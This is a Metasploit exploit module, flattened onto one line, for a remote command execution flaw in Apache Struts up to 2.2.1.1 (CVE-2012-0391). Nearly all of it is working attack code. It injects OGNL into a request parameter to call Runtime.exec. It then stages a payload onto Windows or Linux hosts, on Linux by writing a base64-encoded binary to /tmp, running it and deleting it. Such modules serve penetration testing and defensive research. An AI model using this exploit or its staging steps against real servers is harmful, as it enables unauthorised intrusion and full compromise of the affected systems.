Apache Struts 2.2.1.1 – Remote Command Execution (Metasploit)
## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # web site for more information on licensing and terms of use. # http://metasploit.com/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::CmdStagerTFTP include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super(update_info(info, 'Name' => 'Apache Struts <= 2.2.1.1 Remote Command Execution', 'Description' => %q{ This module exploits a remote command execution vulnerability in Apache Struts versions < 2.2.1.1. This issue is caused because the ExceptionDelegator interprets parameter values as OGNL expressions during certain exception handling for mismatched data types of properties, which allows remote attackers to execute arbitrary Java code via a crafted parameter. }, 'Author' => [ 'Johannes Dahse', # Vulnerability discovery and PoC 'Andreas Nusser', # Vulnerability discovery and PoC 'juan vazquez', # Metasploit module 'sinn3r' # Metasploit module ], 'License' => MSF_LICENSE, 'Version' => '$Revision: $', 'References' => [ [ 'CVE', '2012-0391'], [ 'OSVDB', '78277'], [ 'EDB', '18329'], [ 'URL', 'https://www.sec-consult.com/files/20120104-0_Apache_Struts2_Multiple_Critical_Vulnerabilities.txt'] ], 'Platform' => [ 'win', 'linux'], 'Privileged' => true, 'Targets' => [ ['Windows Universal', { 'Arch' => ARCH_X86, 'Platform' => 'win' } ], ['Linux Universal', { 'Arch' => ARCH_X86, 'Platform' => 'linux' } ], ], 'DisclosureDate' => 'Jan 06 2012', 'DefaultTarget' => 0)) register_options( [ Opt::RPORT(8080), OptString.new('TARGETURI', [ true, 'The path to a struts application action and the parameter to inject ie. /HelloWorldStruts2/hello?name=test&id=INJECT', ""]), OptString.new('CMD', [ false, 'Execute this command instead of using command stager', "" ]) ], self.class) end def execute_command(cmd, opts = {}) uri = String.new(datastore['TARGETURI']) uri.gsub!(/INJECT/, "'%2b(%23_memberAccess[\"allowStaticMethodAccess\"]=true,@java.lang.Runtime@getRuntime().exec(\"CMD\"))%2b'") if target['Platform'] == 'win' uri.gsub!(/INJECT/, "'%2b(%23_memberAccess[\"allowStaticMethodAccess\"]=true,@java.lang.Runtime@getRuntime().exec(\"CMD\".split(\"@\")))%2b'") if target['Platform'] == 'linux' uri.gsub!(/CMD/, Rex::Text::uri_encode(cmd)) vprint_status("Attempting to execute: #{cmd}") resp = send_request_raw({ 'uri' => uri, 'version' => '1.1', 'method' => 'GET', }, 5) end def windows_stager exe_fname = rand_text_alphanumeric(4+rand(4)) + ".exe" print_status("Sending request to #{datastore['RHOST']}:#{datastore['RPORT']}") execute_cmdstager({ :temp => '.'}) @payload_exe = payload_exe print_status("Attempting to execute the payload...") execute_command(@payload_exe) end def linux_stager cmds = "/bin/sh@-c@echo LINE | tee FILE" exe = Msf::Util::EXE.to_linux_x86_elf(framework, payload.raw) base64 = Rex::Text.encode_base64(exe) base64.gsub!(/\=/, "\\u003d") file = rand_text_alphanumeric(4+rand(4)) execute_command("/bin/sh@-c@touch /tmp/#{file}.b64") cmds.gsub!(/FILE/, "/tmp/" + file + ".b64") base64.each_line do |line| line.chomp! cmd = cmds cmd.gsub!(/LINE/, line) execute_command(cmds) end execute_command("/bin/sh@-c@base64 -d /tmp/#{file}.b64|tee /tmp/#{file}") execute_command("/bin/sh@-c@chmod +x /tmp/#{file}") execute_command("/bin/sh@-c@rm /tmp/#{file}.b64") execute_command("/bin/sh@-c@/tmp/#{file}") @payload_exe = "/tmp/" + file end def on_new_session(client) if target['Platform'] == 'linux' print_status("Deleting #{@payload_exe} payload file") execute_command("/bin/sh@-c@rm #{@payload_exe}") else print_status("Windows does not allow running executables to be deleted") print_status("Delete the #{@payload_exe} file manually after migrating") end end def exploit if not datastore['CMD'].empty? print_status("Executing user supplied command") execute_command(datastore['CMD']) return end case target['Platform'] when 'linux' linux_stager when 'win' windows_stager else raise RuntimeError, 'Unsupported target platform!' end handler end end |